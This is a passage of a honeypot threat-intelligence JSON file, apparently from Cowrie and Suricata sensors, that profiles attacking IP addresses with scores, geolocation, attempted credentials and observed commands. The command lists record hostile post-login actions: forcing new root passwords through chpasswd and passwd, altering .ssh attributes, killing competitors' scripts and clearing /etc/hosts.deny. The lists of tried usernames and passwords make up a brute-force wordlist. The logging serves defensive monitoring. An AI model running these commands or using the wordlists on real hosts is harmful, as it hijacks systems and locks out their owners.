        "qweqwe123."
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:s1vA5hEMBWpJ\"|chpasswd|bash",
        "echo \"test\\nXc5dOQQySJMl\\nXc5dOQQySJMl\\n\"|passwd",
        "echo -e \"test\\nXc5dOQQySJMl\\nXc5dOQQySJMl\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 322,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T04:07:52.841000+00:00",
        "last_seen_30d": "2026-04-14T05:38:39.435000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 253,
        "Suricata": 69
      }
    },
    "59.99.184.165": {
      "attack_count": 232,
      "first_seen": "2026-04-13T12:02:41.268Z",
      "last_seen": "2026-04-13T12:37:58.003Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "n8n",
        "postgres",
        "admin",
        "deploy",
        "dev",
        "lee",
        "mk",
        "server",
        "test1",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "12345679",
        "123456Aa",
        "123asd!@#ASD",
        "3edc@WSX!QAZ",
        "Dev28!",
        "Frappe10!",
        "N8n!2025",
        "Pa55word",
        "Root24!",
        "aaa",
        "admin17!",
        "mk123",
        "qazwsx123456789@",
        "qazwsx2020#$",
        "root123456789.",
        "test",
        "test123",
        "test@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"N8n!2025\\n3UXYlF17MS7C\\n3UXYlF17MS7C\\n\"|passwd",
        "echo \"root:T3TklW3YBwKr\"|chpasswd|bash",
        "echo -e \"N8n!2025\\n3UXYlF17MS7C\\n3UXYlF17MS7C\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 285,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T12:02:41.268000+00:00",
        "last_seen_30d": "2026-04-13T12:39:08.043000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 232,
        "Suricata": 53
      }
    },
    "103.114.147.217": {
      "attack_count": 218,
      "first_seen": "2026-04-30T06:28:32.577Z",
      "last_seen": "2026-04-30T07:08:18.896Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "git",
        "user",
        "345gs5662d34",
        "admin",
        "cuser",
        "dev",
        "ftpadmin2",
        "ftpuser",
        "guest",
        "mailtest",
        "newuser1",
        "odoo13",
        "phpmyadmin",
        "smbuser",
        "sysadmin",
        "test2",
        "testaccount",
        "tom"
      ],
      "passwords_attempted": [
        "122333",
        "123",
        "12345678",
        "123qwe./",
        "1qaz2wsx#EDC$RFV",
        "20262026",
        "3245gs5662d34",
        "345gs5662d34",
        "4321",
        "P@ssw0rd!",
        "Tech$123",
        "ZAQ!XSW@",
        "admin#2020",
        "admin100",
        "cuser",
        "dev123456",
        "ftpadmin2",
        "ftpuser@",
        "minecraft123",
        "newuser1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:DNLjuwn63YVD\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Laos",
      "country_code": "LA",
      "city": null,
      "asn": 137905,
      "as_org": "Mangkone Technology Co. Ltd.",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 292,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T06:28:32.577000+00:00",
        "last_seen_30d": "2026-04-30T07:09:22.815000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 74
      }
    },
    "103.118.28.15": {
      "attack_count": 218,
      "first_seen": "2026-04-30T17:43:37.292Z",
      "last_seen": "2026-04-30T18:19:44.606Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "azureuser",
        "bitrix",
        "deploy",
        "developer",
        "fastuser",
        "ftpuser1",
        "ftpuser2",
        "ftpuser3",
        "mysql",
        "oracle",
        "postgres",
        "test",
        "testik",
        "testuser",
        "ts33",
        "user0"
      ],
      "passwords_attempted": [
        "Qwerty123",
        "111",
        "111111",
        "12",
        "12345",
        "321",
        "3245gs5662d34",
        "345gs5662d34",
        "4",
        "@admin123",
        "Password123",
        "abcd123",
        "admin123,./",
        "admin13",
        "digital@123",
        "fastuser",
        "ftpuser123",
        "ftpuser3",
        "netadmin",
        "p@ssw0Rd"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:jkRqeokqMAHO\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 151858,
      "as_org": "INTERDIGI JOINT STOCK COMPANY",
      "threat_score": 37.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 289,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T17:43:37.292000+00:00",
        "last_seen_30d": "2026-04-30T18:20:53.653000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 218,
        "Suricata": 71
      }
    },
    "41.59.86.232": {
      "attack_count": 215,
      "first_seen": "2026-04-23T08:51:40.731Z",
      "last_seen": "2026-04-23T09:39:00.919Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin1234",
        "admin",
        "bot",
        "deploy",
        "maill",
        "n8n",
        "sai",
        "steam",
        "svn",
        "test01",
        "testuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12345678",
        "123456tr",
        "159357",
        "1q2wE",
        "2024#",
        "Admin29!",
        "Baidu@123",
        "Bot07",
        "DDzz000",
        "Frappe21",
        "Hello@123",
        "L@y3rh0st2024",
        "P@ss2026",
        "QWERTYUI1",
        "Qwer1111",
        "admin1234"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:C3XLdcjXVlEu\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Dar es Salaam",
      "asn": 33765,
      "as_org": "TTCLDATA",
      "threat_score": 28.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 283,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T08:51:40.731000+00:00",
        "last_seen_30d": "2026-04-23T09:40:08.369000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 215,
        "Suricata": 68
      }
    },
    "45.89.60.81": {
      "attack_count": 207,
      "first_seen": "2026-04-09T06:51:25.485Z",
      "last_seen": "2026-04-09T07:43:38.053Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "deploy",
        "ftp1user",
        "git",
        "media",
        "s",
        "teamspeak",
        "test1",
        "user"
      ],
      "passwords_attempted": [
        "11111111",
        "12345",
        "1234567890Qwertyuiop",
        "3245gs5662d34",
        "Qazwsx12345!@#",
        "QweAsdZxc",
        "Root123321@",
        "Teamspeak!@",
        "XXaa112233",
        "ftp1user",
        "git!2025",
        "media",
        "pass1234",
        "password1",
        "qazwsx999!@#",
        "root2022#$",
        "s",
        "vps@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"password1\\ndGYsYgNBqu2l\\ndGYsYgNBqu2l\\n\"|passwd",
        "echo \"root:0EzaSKzGClNp\"|chpasswd|bash",
        "echo -e \"password1\\ndGYsYgNBqu2l\\ndGYsYgNBqu2l\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 252,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T06:51:25.485000+00:00",
        "last_seen_30d": "2026-04-09T07:44:45.988000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 207,
        "Suricata": 45
      }
    },
    "5.89.75.194": {
      "attack_count": 204,
      "first_seen": "2026-04-25T14:11:09.724Z",
      "last_seen": "2026-04-25T14:43:11.480Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "admin",
        "botuser",
        "dev",
        "erpnext",
        "frappe",
        "lee",
        "lighthouse",
        "minecraft",
        "rodrigo",
        "sbbs",
        "seekcy",
        "server",
        "steam",
        "sysadmin",
        "teamspeak",
        "ubuntu",
        "user4"
      ],
      "passwords_attempted": [
        "1",
        "1111",
        "111111",
        "123",
        "1234",
        "12345",
        "123456jh",
        "123654",
        "3245gs5662d34",
        "345gs5662d34",
        "555555",
        "6",
        "Aa12345",
        "Hello1234!",
        "Joysuch@Locate2020",
        "Lq123456",
        "P@ssw0rd11",
        "Teamspeak11",
        "Test0",
        "dev5"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"555555\\nYoeWrPYzpHUm\\nYoeWrPYzpHUm\\n\"|passwd",
        "echo -e \"555555\\nYoeWrPYzpHUm\\nYoeWrPYzpHUm\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Milan",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T14:11:09.724000+00:00",
        "last_seen_30d": "2026-04-25T14:44:11.859000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 204,
        "Suricata": 64
      }
    },
    "103.145.63.218": {
      "attack_count": 203,
      "first_seen": "2026-04-25T02:04:32.673Z",
      "last_seen": "2026-04-25T03:45:30.892Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "bot",
        "buser",
        "deploy",
        "ftpadmin",
        "ftpuser",
        "minecraft",
        "server",
        "test",
        "vhserver",
        "vpn"
      ],
      "passwords_attempted": [
        "1",
        "3245gs5662d34",
        "345gs5662d34",
        "69696969",
        "Aa112211.",
        "Abcd1234..",
        "Admin123456!",
        "Ftpuser22!",
        "Guest1234",
        "P@ssword123!@#",
        "Passw0rd12",
        "a1a1a1a1",
        "bot123456",
        "buser",
        "cloud@2026",
        "frappe123456",
        "ftpadmin",
        "jelszo123",
        "nPSpP4PBW0",
        "nt123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:P7MHQOnxTqPe\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135994,
      "as_org": "IDC Online Technology and Solutions Corporation",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 268,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T02:04:32.673000+00:00",
        "last_seen_30d": "2026-04-25T03:46:33.731000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 203,
        "Suricata": 65
      }
    },
    "185.92.182.129": {
      "attack_count": 199,
      "first_seen": "2026-04-23T11:21:32.719Z",
      "last_seen": "2026-04-23T12:36:49.640Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "admin1234",
        "345gs5662d34",
        "admin",
        "bot",
        "deploy",
        "ftpuser",
        "maill",
        "n8n",
        "sai",
        "steam",
        "svn",
        "test01",
        "testuser"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "12345678",
        "123456tr",
        "159357",
        "1q2wE",
        "2024#",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin29!",
        "Baidu@123",
        "Bot07",
        "DDzz000",
        "Frappe21",
        "Hello@123",
        "L@y3rh0st2024",
        "P@ss2026",
        "QWERTYUI1",
        "Qwer1111",
        "admin1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"admin1234\\nhEgddfnzsAP4\\nhEgddfnzsAP4\\n\"|passwd",
        "echo -e \"admin1234\\nhEgddfnzsAP4\\nhEgddfnzsAP4\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Kansas City",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 28.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 263,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T11:21:32.719000+00:00",
        "last_seen_30d": "2026-04-23T12:37:52.999000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 64
      }
    },
    "203.142.160.143": {
      "attack_count": 199,
      "first_seen": "2026-04-22T04:21:53.594Z",
      "last_seen": "2026-04-22T04:51:54.964Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ali",
        "frappe",
        "ubuntu",
        "345gs5662d34",
        "admin1234",
        "asd",
        "atest",
        "king",
        "mcguitaruser",
        "minecraft",
        "odoo",
        "oracle",
        "postfixtester",
        "runner",
        "steam",
        "vm"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "123456789@Ab",
        "3245gs5662d34",
        "345gs5662d34",
        "3edc!@",
        "A123456789J",
        "Kk123456@",
        "Qazwsx123123@@",
        "Root654321@@",
        "Ubuntu31",
        "admin1234",
        "adminroot",
        "ali01",
        "ali09!",
        "asd",
        "atest",
        "deng2025",
        "frappe",
        "lol123lol"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"frappe\\nXgcFy7ydA27z\\nXgcFy7ydA27z\\n\"|passwd",
        "echo -e \"frappe\\nXgcFy7ydA27z\\nXgcFy7ydA27z\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Seongnam-si",
      "asn": 17608,
      "as_org": "ABN",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T04:21:53.594000+00:00",
        "last_seen_30d": "2026-04-22T04:52:58.703000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 62
      }
    },
    "62.193.106.227": {
      "attack_count": 199,
      "first_seen": "2026-04-22T14:34:55.384Z",
      "last_seen": "2026-04-22T15:08:52.359Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "345gs5662d34",
        "admin1234",
        "arthur",
        "demo1",
        "deploy",
        "deployer",
        "drivetest",
        "frappe",
        "git",
        "hsh",
        "odoo",
        "pjsuser",
        "server",
        "test",
        "test05",
        "user2",
        "vpn",
        "webserver"
      ],
      "passwords_attempted": [
        "123456",
        "123.zxcv",
        "123654789",
        "123_QWER",
        "15",
        "159951",
        "321",
        "3245gs5662d34",
        "345gs5662d34",
        "Passw0rd",
        "Rdf@2026",
        "Root2025#$",
        "admin1234",
        "changeme",
        "ddXX000",
        "demo1",
        "deployer1",
        "drivetest",
        "frappe14!",
        "letmein"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"Rdf@2026\\nptRbMeWzSoeU\\nptRbMeWzSoeU\\n\"|passwd",
        "echo -e \"Rdf@2026\\nptRbMeWzSoeU\\nptRbMeWzSoeU\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 36992,
      "as_org": "Etisalat Misr",
      "threat_score": 27.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 261,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T14:34:55.384000+00:00",
        "last_seen_30d": "2026-04-22T15:09:56.091000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 199,
        "Suricata": 62
      }
    },
    "103.189.235.130": {
      "attack_count": 198,
      "first_seen": "2026-04-22T22:53:01.827Z",
      "last_seen": "2026-04-22T23:54:34.446Z",
      "sessions": 28,
      "ports": [],
      "usernames_attempted": [
        "root",
        "steam",
        "345gs5662d34",
        "ali",
        "daniel",
        "dev",
        "ftpuser",
        "gitlab-runner",
